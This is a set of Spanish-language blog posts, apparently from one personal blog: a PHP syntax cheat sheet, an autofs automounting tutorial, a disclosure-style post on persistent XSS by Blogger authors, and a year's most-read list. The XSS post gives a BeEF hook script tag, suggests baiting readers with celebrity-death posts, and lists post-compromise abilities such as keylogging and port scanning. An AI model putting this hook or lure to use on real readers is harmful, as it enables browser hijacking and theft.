//hacer esto en el caso de que no coincida nada de lo anterior
break;
}
- funciones/procedimientos:
function ejemplo($par1, $par3, ... $parn)
{
//codigo
...
...
}

//llamar a la funcion
ejemplo($par1, $par2, ..., $par3);
- formas de incluir otros scripts:
include("other.php");
include_once("other.php"); //si el archivo ya se incluyó en una llamada anterior, no se vuelve a incluir

require("other.php"); //igual a include, pero arroja un error FATAL si no encuentra el archivo
require_once("other.php"); //si el archivo ya se incluyó en una llamada anterior, no se vuelve a incluir
- arreglos:
- crear arreglo:
$miarreglo = array();
- obtener/setear valores:
$miarreglo[0] = "demasiadovivo";
$name = miarreglo[0];
- agregar elemento:
$miarreglo[] = "d3m4s1@d0v1v0";
- arreglos asociativos:
$miarreglo["name"] = "demasiadovivo";
$name = $miarreglo["name"];
- loops:
- while:
while ( condicion )
{
//hacer algo
}
- for:
for ( valor-inicial; condicion; incremento)
{
//hacer algo
}
ejemplo:
for ($i=0; $i<100; $i++)
{
//hacer algo
}
- para recorrer arreglos asociativos, usamos foreach
foreach ($miarreglo as $key => $value)
{
//$key almacena el valor la posición del arreglo y $value el valor
}
otra forma:
foreach ($miarreglo as $value)
{
//obtenemos cada valor almacenado en el arreglo
}
- do..while (siempre se ejecuta al menos una vez)
do
{
//hacer algo
} while ( condicion );
- obtener parámetros GET (usar el arreglo $_GET):
$name = $_GET['name']
- obtener parámetros POST (usar el arreglo $_POST):
$name = $_POST['name']
- cookies:
- setear cookie:
setcookie("name", "demasiadovivo", $ttl);
- obtener cookie:
$name = $_COOKIE['name'];
- sesiones:
- iniciar una sesión:
session_start();
- obtener/setear variable de sesión (usar arreglo $_SESSION - acordarse de incluir la llamada a función session_start() al principio del script):
$_SESSION['name'] = "demasiadovivo";
$name = $_SESSION['name'];
- terminar sesión:
session_destroy();
- archivos:
- abrir archivo:
$f = fopen("archivo.txt", $modo);
donde $modo puede ser
"r" solo lectura
"w" solo escritura
"a" append
"r+" lectura y escritura. Cuando abrimos el archivo el puntero está al inicio de éste.
"w+" igual a r+ pero borra el contenido del archivo cuando lo abre
"a+" igual a r+ excepto que deja el puntero al final del archivo
- leer desde el archivo:
$dato = fread($f, $size);
donde $size indica la cantidad de caracteres a leer.

$dato = fgets($f);
lee de a una linea. Lee caracteres hasta encontrar un enter.
- escribir en archivo:
$dato = "cualquier dato";
fwrite($f, $dato);
- cerrar archivo:
fclose($f);
- clases y objetos:
class ejemplo
{
//constructor
function __construct($par1, $par2, ..., $parn)
{
}

//destructor
function __destruct($par1, $par2, ..., $parn)
{
}
}

- crear clase
$ex = new ejemplo($par1, $par2, ..., $parn)
- setear/acceder atributo
$ex->name = "demasiadovivo";
$name = $ex->name;
- llamar función
$ex->algunafuncion($par1, $par2, ..., $parn);
- visibilidad:
public - visible por todos
protected - visible para los objetos que heredan el atributo o la función
private - visible solamente para la clase
- acceder a métodos estáticos/constantes
$name = $ex::name_estatico;
$ex::algunafuncionestatica($par1, $par2, ..., $parn);
- herencia:
class ejemplo extends ejemplito

donde ejemplo hereda de ejemplito
- comparaciones entre objetos:
obj1 == obj2 //verifica que ambos objetos tengan tengan los mismos atributos, los mismos valores y son instancia de la misma clase.
obj1 === obj2 //verifica que ambos sean el mismo objeto, osea, que ambas variables referencien a la misma instancia de la misma clase.
- clases/funciones abstractas:
abstract class ejemplo_abstracto
{
abstract function funcion_abstracta();
}
- interfaces:
interface ejemplo_interfaz
{
...
...
}

class ejemplo_implementador implements ejemplo_interfaz
{
//la clase debe implementar todos los métodos de la interfaz
}


Referencias

- PHP Manual
- PHP Tutorial (tizag)
Automontaje de dispositivos extraíbles en Linux
Hace algunos años, el mundo Linux no contaba con herramientas que montaran dispositivos como las hay hoy en día, o como hacía Windows desde versiones antiguas. Esto me enseñó a montar los dispositivos a mano, usando el bien conocido comando mount o bien configurando entradas en /etc/fstab para el montaje automático al iniciar el sistema. El problema es que a veces es bastante molesto tener que montar a mano cada dispositivo que vamos a utilizar.

Todo esto cambió a medida que fueron surgiendo/mejorando herramientas como udev, hal y pmount. Ahora la mayoría de los window manager presentan al usuario la opción de montar un dispositivo simplemente clickeando en el ícono del cd/dvd-rom, pendrive, disco externo, etc que aparece en el desktop. Cada entorno gráfico cuenta con alguna interfaz para hal-pmount, como ser gnome-volume-manager, thunar-volman, kdebase-kio-plugins, etc.

Hoy les traigo una forma de auto-montar dispositivos sin necesidad de usar ningún entorno gráfico. Es decir, la configuración será independiente del entorno gráfico que estemos utilizando y nos servirá además si tenemos un sistema sin gráficos.

La idea inicial del artículo era probar varias herramientas y describir el funcionamiento de cada una, pero dado que anduve corto de tiempo no pude probar las otras opciones que quería, así que por ahora los dejo sólo con autoFS y espero en próximos artículos describir el resto.
Por si les interesa investigar por ustedes mismos, las otras herramientas de las que pensaba hablar eran ivman, halevt y usbmount. También me interesaría describir el funcionamiento de udev, hal y pmount, pero todo requiere tiempo y pruebas =)


Automontar con autofs

Autofs es un script que controla el funcionamiento del demonio automount, el cual es el programa encargado de realizar la tarea de montar automáticamente un dispositivo cuando el usuario intenta accederlo. automount funciona leyendo el archivo /etc/auto.master, el cual contiene el mapeo de unidades->directorio de montaje.
Para configurar los dispositivos que deseamos automontar, debemos editar el mencionado /etc/auto.master, el cual contendrá una entrada apuntando a otro archivo, el cual contendrá los puntos de montaje y las opciones.
Para mostrar la funcionalidad, utilizaré un ejemplo donde intento montar automáticamente un cdrom, cuyo dispositivo es /dev/hda. Para este caso, deberemos ingresar una línea como la siguiente en auto.master:
/media/misc /etc/auto.misc --timeout=5 --ghost
auto.master cuenta con el punto de montaje (/media/misc/), el archivo donde se encuentra el comando para montar el dispositivo (/etc/auto.misc) y opciones. En el ejemplo especifiqué la opción --timeout=5, que indica al sistema que desmonte los dispositivos luego de 5 segundos de inactividad, y --ghost que indica no borrar los directorios utilizados dentro del punto de montaje, osea, los creados dentro de /media/misc... ya vamos a ver por qué.

Para continuar, debemos configurar el archivo /etc/auto.misc. Si bien aca utilizo auto.misc que es un archivo creado automáticamente al instalar autofs, podrían utilizar cualquier archivo con cualquier nombre, siempre que tenga el formato necesario para que esto funcione.
Para montar nuestro cdrom, necesitaríamos utilizar una entrada como ésta dentro de auto.misc:
cd1 -fstype=iso9660,ro,nosuid,nodev :/dev/hda
el primer parámetro es el directorio de montaje creado dentro del punto de montaje indicado en auto.master, es decir, para nuestro ejemplo, el cdrom se montará en /media/misc/cd1. Luego, como podrán reconocer, vienen las opciones de montaje como el tipo de archivo, que lo montamos como read-only, sin suid y nodev. Por último, luego de los dos puntos colocamos el dispositivo en cuestión, es decir /dev/hda

Ahora, cada vez que accedamos a /media/misc/cd1 autofs montará el cd que se encuentre en la lectora (si es que hay alguno en ella) de forma transparente, es decir, el usuario ni se enterará que hubo un montaje en el medio. Luego de 5 segundos de inactividad, es decir, 5 segundos donde nadie acceda a archivos en /media/misc/cd1, el cd será desmontado. Eso si, si luego accedemos nuevamente al directorio, el cd se vuelve a montar.


Instalación

La instalación es simple, autofs se encuentra en los repositorios de toda distribución importante, así que pueden instalarlo con su manejador de paquetes. Por ejemplo en debian yo lo instalé ejecutando:
apt-get install autofs5


Problemas

Si bien autofs cumple con el cometido de automontar dispositivos bastante bien, tiene problemas que no me convencen.

Por un lado tenemos el problema de doble montaje. Si bien este no es problema de autofs, el problema existe al utilizarlo. Lo que quiero decir con "doble montaje" es que si autofs monta un dispositivo, y nosotros por nuestra cuenta lo accedemos con algún gestor como dolphin o nautilus a través de su propio sistema de automontaje, estos gestores lo montarán en su directorio predefinido. Por ejemplo, supongamos que autofs monta el cd en /media/misc/cd1, pero dolphin lo monta en /media/cdrom0, ahora tendremos el mismo dispositivo montado en dos lugares distintos.
Esto se puede solucionar fácilmente haciendo que el directorio /media/cdrom0 apunte a /media/misc/cd1 o bien haciendo que automount monte en /media/cdrom0. Yo me quedo con la primer alternativa, debido a que para la segunda debemos configurar en auto.master el directorio /media como raíz, y autofs elimina todos los directorios anidados dentro de su raíz antes de crear los puntos de montaje. Así pues, si teníamos otras cosas montadas como /media/windows, o /media/usb, ahora no veremos dichos directorios gracias a autofs.
Para la solución de linkear /media/cdrom0 al directorio designado en autofs podemos hacer simplemente:
rmdir /media/cdrom0
ln -s /media/misc/cd1 /media/cdrom0
El otro problema aún más molesto de autofs es el del timeout. autofs desmonta los dispositivos luego de t segundos de inactividad, indicado en timeout (en nuestro ejemplo, 5 segundos). Esto quiere decir que no podemos ejecutar la lectora a menos que hayan transcurrido t segundos de inactividad, a menos que seamos root y le indiquemos a autofs que no moleste...
Gracias a esto, tendremos que elegir un timeout adecuado. Hacer que el dispositivo se desmonte a cada rato y luego se vuelva a montar porque lo volvemos a acceder es totalmente ineficiente, pero esperar muchos segundos para poder extraer el dispositivo es extremadamente molesto!


Referencias


- Autofs (gentoo wiki)
- Automounting removable devices (debian wiki)
- Automount mini-Howto
XSS es aceptable en blogger... arreglense navegantes!
Hace unos días cuando estaba investigando sobre XSS, se me ocurrió probar algunas cosas en blogger, estando prácticamente seguro de que iba a encontrar mucho... y así fue.

Si bien es sabido que blogger nos permite agregar todo tipo de JavaScript, uno podría pensar que hacen algún tipo de validación y eliminan ciertos ataques XSS... y la realidad es que, no lo hacen.

Hay que ser justos y comentar que si hacen controles en los comentarios, donde no es posible realizar éstos ataques, pero le da total libertad a el/los escrito/res del blog para insertar lo que tengan ganas.

Esto permite al blogger utilizar el blog como punto de ataque utilizando la confianza que pueden tener los lectores en un site como éste.
Realmente es muy fácil caer en blogs de blogger haciendo búsquedas en sites como google. Además blogger incorpora en todos los blogs un buscador de blogs, y el botón siguiente blog que nos lleva ciegamente a otros blogs.

Como recordarán de los artículos de XSS, entre los ataques más graves están el robo de cookies y utilizar el XSS Shell. El robo de cookies no es posible en blogger porque las cookies se manejan desde el site de google y hacen algunos artilugios para armar los IDs. Pero si es posible utilizar XSS Shell.

Utilizar algún framework como BeEF es tan simple como agregar el script <script language='Javascript' src="http://localhost/beef/hook/beefmagic.js.php"></script> en algún post.
En ese mismo post podríamos poner datos atractivos, como hablar de un famoso muerto recientemente... cualquiera que lea algún blog como el de TrendMicro sabe de cómo los cybercriminales envenenan los resultados de google utilizando algún dato hot como la muerte de famosos.
Ahora, un usuario que busca datos sobre dicho famoso quizás confíe más en un artículo de blogger que el de alguna página rara... es ahí donde está el problema con todo esto, la confianza del usuario en blogger y la poca bola que le da blogger al XSS persistente!

Una vez que las víctimas caen, qué podemos hacer? si leyeron mi anterior artículo sabrán que mucho, como ser:
- Obtener página actual
- Ejecutar JavaScript arbitrario
- Obtener los movimientos del mouse
- Obtener las teclas presionadas (keylogger)
- Crashear el browser
- Acceso a páginas a través de la víctima (proxy/tunneling)
- Obtener historial de páginas visitadas
- Escaneo distribuido de puertos
- Bindshell IPC (enviar comandos a otra máquina en la LAN de la máquina zombie)
- Utilizar exploits para lograr shells usando metasploit
- Otros.......

Cito el XSS Shell porque es el más abarcativo de los ataques XSS, así que piensen en que pueden hacer prácticamente cualquier cosa.

Qué dice google a todo esto? bueno en mi caso nada... les escribí hace dos semanas y como esperaba, no obtuve respuesta al respecto... les di tiempo antes de publicar esto aca, aunque no estoy contando nada que no se hubieran imaginado. Igual por las dudas esperé un tiempo razonable.

El que si tuvo más suerte fue RSnake. Bueno, al menos a un hacker tan conocido como RSnake le contestan, yo soy un simple entusiasta argentino =P
Igualmente la respuesta obtenida no fue muy alentadora. Básicamente lo que le dijeron a este famoso hacker fue: "el XSS en Google Apps es el comportamiento esperado". Básicamente ellos se ocupan de que no se puedan robar las cookies, todo lo demás es algo aceptado y se lavan las manos. El artículo completo lo pueden leer en XSS Hole In Google Apps Is "Expected Behavior". Como pueden observar, el artículo data del 2007 y todo sigue igual, así que no esperen muchos cambios en el futuro...

Cabe aclarar que este artículo está libre de XSS persistente, así que sigan navegando tranquilos... buuuuuu =P
Lo más leído en Diciembre + Lo más leído en 2009!
Buenas seguidores y personas que se topan con el blog de rebote!
Murió diciembre y con él se fue otro año a la mierd*, así que hoy voy a hacer el clásico repaso de lo más leído el mes pasado, pero a su vez voy a hacer un top 10 de lo más leído del año.
La verdad que no imaginaba poder mantener cierto ritmo de post a lo largo de tantos meses (fueron 8 en total), así que estoy muy contento con el resultado del año. Si bien el blog sigue siendo algo bien cacero, leído más que nada por conocidos, de a poco empiezo a recibir más visitantes de distintos países, así que dan muchas ganas de seguir.

En total publiqué 90 posts, y si no me olvidé de tagear algo, 36 fueron artículos, los cuáles fueron escritos de cero para este blog, es decir, material único, nada de refrito de otros blogs.

Diciembre fue el mes del XSS. No alcancé a publicar todo lo que quería, pero creo que fueron artículos más que interesantes. Escribirlos me ayudó a aprender muchísimo del tema y espero que ustedes los hayan disfrutado y hayan aprendido también. Dediqué muchas horas de investigación y pruebas para lograr que queden como están. El mayor reconocimiento fue la cantidad de visitas que obtuvieron en tan poco tiempo.

Como bien dije cuándo inicié el blog, durante 2009 dediqué la mayoría de los posts a la seguridad y GNU/Linux, mis pasiones más grandes. 2010 seguramente seguirá con muchos posts de seguridad porque es lo que me da de comer y es un área que me apasiona. Igualmente intentaré tratar temas tan variados como me sea posible, toda la informática me apasiona, así que si cuento con tiempo investigaré tantos temas como pueda.

En fin, basta de sarasa, pasemos a lo más leído en diciembre:

1. Cruzando información, Cross-Site Scripting (XSS). Una introducción al XSS con varios ejemplos, incluido el robo de cookies, tipos de XSS, formas de evadir controles, etc. Es una gran alegría que este artículo haya sido el más leído del mes, siendo que contó con poco tiempo para llegar a ese puesto.

2. Cómo crear un corrector ortográfico. Me sigue sorprendiendo como este post sigue entre los 5 primeros durante tantos meses, pero me alegra que les resulte interesante la programación de correctores ortográficos, un tema simple pero muy útil.

3. Rompiendo a lo grande: XSS avanzado. Continuando la serie de XSS en este artículo explico técnicas avanzadas para explotar el XSS y obtener mayores beneficios del ataque. Ataques como el XSS Shell los dejará maravillados =)

4. Crear máquina virtual en CentOS usando Xen. Otro que viene ocupando el top 5 desde hace meses. Este ha resultado el artículo más interesante del año según la cantidad de visitas, se ve que hay mucha gente interesada en el tema o poca información al respecto.

5. Tunear logs de SQL Server. Indicarle a SQL Server lo que queremos loguear no es tan trivial como uno se imagina. Al no haber mucha información en español al respecto creo que este artículo ayuda a todo aquel que deba administrar este DBMS.


Cumplido el deber de informar lo más leído en diciembre (?!), pasemos a un listado quizás más interesante... lo más leído del año. Si bien no es justo comparar artículos escritos hace una semana con los escritos hace meses porque obviamente no tuvieron la oportunidad de ser leídos por tanta gente, igual es interesante ver los resultados de lo que ustedes más visitaron. Esto ayudará a ver los gustos o lo que está haciendo falta en la red y tal vez aplique algunos esfuerzos más en esos temas en el futuro.

1. Crear máquina virtual en CentOS usando Xen. Era de esperarse que éste artículo fuera el más leído, se venia viendo en cada top 5 de mes. Parece que mucha gente se está volcando a Xen, y que CentOS se utiliza mucho. Espero haber ayudado a tanta gente que llegó hasta mi artículo buscando ayuda.

2. Cómo crear un corrector ortográfico. Realmente no me lo esperaba. Cuando escribí el artículo no pensé en que iba a tener tantos visitantes. En fin, es bueno sorprenderse, y el código de un corrector ortográfico realmente sorprende!

3. Utilidad para hackear passwords de Windows y Linux. Este si que no me sorprende. De las herramientas que he visto durante el año, la citada en el artículo está entre las más útiles. Especial para aquellos que olvidan o deben recuperar passwords, pasen y lean.

4. Programando tareas con cron. cron, ese demonio tan útil que todo administrador debe conocer. Si éste artículo está en este top 10 es gracias a la necesidad de todo administrador de conocer cómo utilizar este demonio. Quién no necesita programar una tarea de vez en cuando?

5. Grub configurando el sector de arranque. Pensé que iba a estar más arriba en el ranking, pero igual tiene un puesto importante. Dado que todas las distribuciones modernas utilizan grub como gestor de arranque, es muy útil conocer cómo configurarlo, aunque sea lo básico.

6. Tunear logs de SQL Server. No tengo mucho que añadir a lo que dije antes sobre este artículo. Realmente escaló rápido y seguramente seguirá siendo una constante fuente de consulta de aquellos admins de sistemas MS.

7. Hacking Bluetooth: ni tan fácil, ni tan imposible. Otro artículo al que le dediqué mucho tiempo de investigación. Bluetooth viene en prácticamente todo aparatejo que anda dando vueltas y es importante conocer los riesgos que enfrentamos al utilizarlos.

8. Uso de memoria: Firefox Vs Chrome Vs Safari Vs Opera. Los browsers más utilizados sacaron actualizaciones importantes, así que un buen samaritano (no fui yo =P) los comparó para ver cuánta memoria consumen. Sin dudas, una buena referencia para aquellos con dudas sobre qué browser utilizar.

9. Cruzando información, Cross-Site Scripting (XSS). Tantas visitas en poco tiempo recibió que alcanzó para aparecer en este top 10 anual. Si bien hay mucha información sobre XSS a veces falta unirla y presentarla con ejemplos, creo que ese es un gran punto a favor de este artículo y espero que siga siendo una buena referencia para todos los que buscan seguridad.

10. Hora en Linux y diferencias con Wdinows. Algo que suele ocurrir en Linux son problemas con la hora al tener un sistema dual boot con Windows. Espero que a partir de lo discutido en este artículo aclare dudas y solucione estas cuestiones.


Bueno, no queda más que agradecer a todos los que visitar el blog durante el año, y a todos los que linkearon a los artículos desde sus espacios web. Espero escribir muchos artículos interesantes este año y conocer mucha gente a través de este espacio en la nebulosa de internet =)
Buen comienzo de año para todos!